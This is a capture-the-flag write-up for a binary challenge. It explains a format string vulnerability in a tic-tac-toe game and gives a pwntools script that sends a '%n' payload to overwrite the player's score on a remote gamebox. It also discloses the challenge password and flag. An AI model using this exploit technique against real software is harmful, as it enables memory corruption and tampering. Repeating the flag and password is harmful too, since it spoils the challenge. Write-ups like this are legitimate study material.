Over The Top - Binary 200

> *“Mayday! Mayday! The commands are no longer responding: the space station console just transformed into a 90s arcade game. Help R-boy regain control as soon as possible.”*

Server ask for a password that we could find using strings on the local binary: *_sunfloweroil_*

So a tic-tac-toe game starts and we try to gain first place in order to get the flag. Unfortunately, playing and winning the tic tac toe game isn’t enough to reach 3 points (enough to reach the top of the leaderboard) because the score of our player is overwrote each time at the end of the game.

The binary is vulnerable to a format string attack on the name of the player.
Was easy then overwrite our score with %n format.

The exploit code:

```
from pwn import *

# Simple function to win the game
def win():
        r.sendline("1")
        r.sendline("1")
        r.sendline("1")
        r.sendline("0")
        r.sendline("2")
        r.sendline("2")
        r.sendline("0")
        r.sendline("1")
        r.sendline("1")
        r.sendline("0")
        r.sendline("2")
        r.sendline("2")
        r.sendline("0")



r = remote (“gamebox1.reply.it”, 37654)
r.clean()
r.sendline("_sunfloweroil_")
```

```
payload = "0000%8$n"
payload += p64(0x7ffcd3084808+0x14) # pointer to player->score
r.sendline(payload)

# Win a game and print the scoreboard
win()
r.sendline("2")

print r.clean()
print r.clean()
```

{FLG:cHe4t_f0r_th3_w1n}